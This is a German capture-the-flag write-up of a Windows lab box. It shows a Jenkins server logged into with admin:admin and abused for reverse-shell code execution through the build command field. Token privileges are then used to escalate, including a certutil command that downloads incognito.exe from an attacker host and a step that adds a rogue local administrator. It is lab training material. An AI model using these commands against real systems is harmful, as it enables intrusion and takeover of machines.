Intro
Wir nutzen eine häufige Fehlkonfiguration eines weit verbreiteten Automatisierungsservers (Jenkins) aus und verschaffen uns über Windows-Tokens Zugang.
Aufzählung
Nmap-Scan
PORT ZUSTAND SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: | Unterstützte Methoden: OPTIONS TRACE GET HEAD POST |_ Potenziell riskante Methoden: TRACE |_http-server-header: Microsoft-IIS/7.5 |_http-title: Die Website hat keinen Titel (text/html). 3389/tcp offen tcpwrapped | ssl-zertifikat: Betreff: commonName=alfred | Emittent: commonName=alfred | Typ des öffentlichen Schlüssels: rsa | Öffentlicher Schlüssel Bits: 2048 | Signatur-Algorithmus: sha1WithRSAEncryption | Nicht gültig vor: 2020-10-02T14:42:05 | Nicht gültig nach: 2021-04-03T14:42:05 | MD5: fdb2 cd17 fad1 160d 06bc c1d8 31f3 7636 |_SHA-1: 6577 409f 2b1a 3e36 7ca7 4449 57f2 98c1 8750 3a3e |_ssl-date: 2021-02-06T18:18:26+00:00; -1s ab Scanner-Zeit. 8080/tcp open http Jetty 9.4.z-SNAPSHOT |_http-favicon: Unbekanntes Favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1 | http-robots.txt: 1 unzulässiger Eintrag |_/ |_http-server-header: Jetty(9.4.z-SNAPSHOT) |_http-title: Die Website hat keinen Titel (text/html;charset=utf-8).
Nichts Interessantes auf Port 80, ein offener RDP-Port auf 3389 und ein weiterer http-Webserver auf Port 8080 mit einem Anmeldeformular. Der Versuch, sich mit admin:admin anzumelden, ist erfolgreich.
Ausbeutung
Entfernte Code-Ausführung
Nachdem ich mir das Tool angesehen hatte, fand ich eine Möglichkeit, Befehle auf dem zugrunde liegenden System auszuführen:
1. Klicken Sie auf der Startseite auf „Projekt“:
2. „Konfigurieren“ auf der linken Seite:
2.1 Konfigurieren Sie Ihr Reverse-Shell-Skript, starten Sie einen Listener und einen http-Server:
3. Scrollen Sie nach unten und geben Sie Ihren Befehl in das Feld „Befehl“ ein und speichern Sie:
4. Nachdem Sie auf „Build“ geklickt haben, sollten Sie eine Reverse Shell erhalten:
Privilegieneskalation
INFORMATIONEN ZU PRIVILEGIEN ---------------------- Privileg Name Beschreibung Status =============================== ========================================= ======== SeDebugPrivilege Programme debuggen Aktiviert SeImpersonatePrivilege Einen Client nach der Authentifizierung impersonieren Aktiviert SeCreateGlobalPrivilege Globale Objekte erstellen Aktiviert
SeDebugPrivilege & SeCreateGlobalPrivilege sind für bruce aktiviert. Mit diesen Token können wir uns als ein anderer Benutzer ausgeben oder sogar einen Benutzer erstellen und ihm administrative Rechte zuweisen.
Damit dies funktioniert, müssen wir eine Binärdatei namens incognito.exe herunterladen. Wir können sie anschließend von einem lokalen http-Server übertragen.
PS > certutil.exe -urlcache -split -f "http://10.8.152.221:5300/incognito.exe" incognito.exe
Nun, da wir die Binärdatei auf den Zielcomputer heruntergeladen haben, können wir sie verwenden, um einen Benutzer hinzuzufügen.
PS > ./incognito.exe add_localgroup_user Administratoren nextdoorsec ┌──(kali㉿kali)-[~] └─$ rdesktop -u nextdoorsec -p passwordd $IP
Wir haben einen Benutzer namens „nextdoorsec“ mit dem Kennwort „passwordd“ hinzugefügt und ihn anschließend der Gruppe „Administrators“ zugewiesen. Um dies zu testen, können Sie eine Verbindung zum offenen RDP-Port herstellen.
0 Kommentare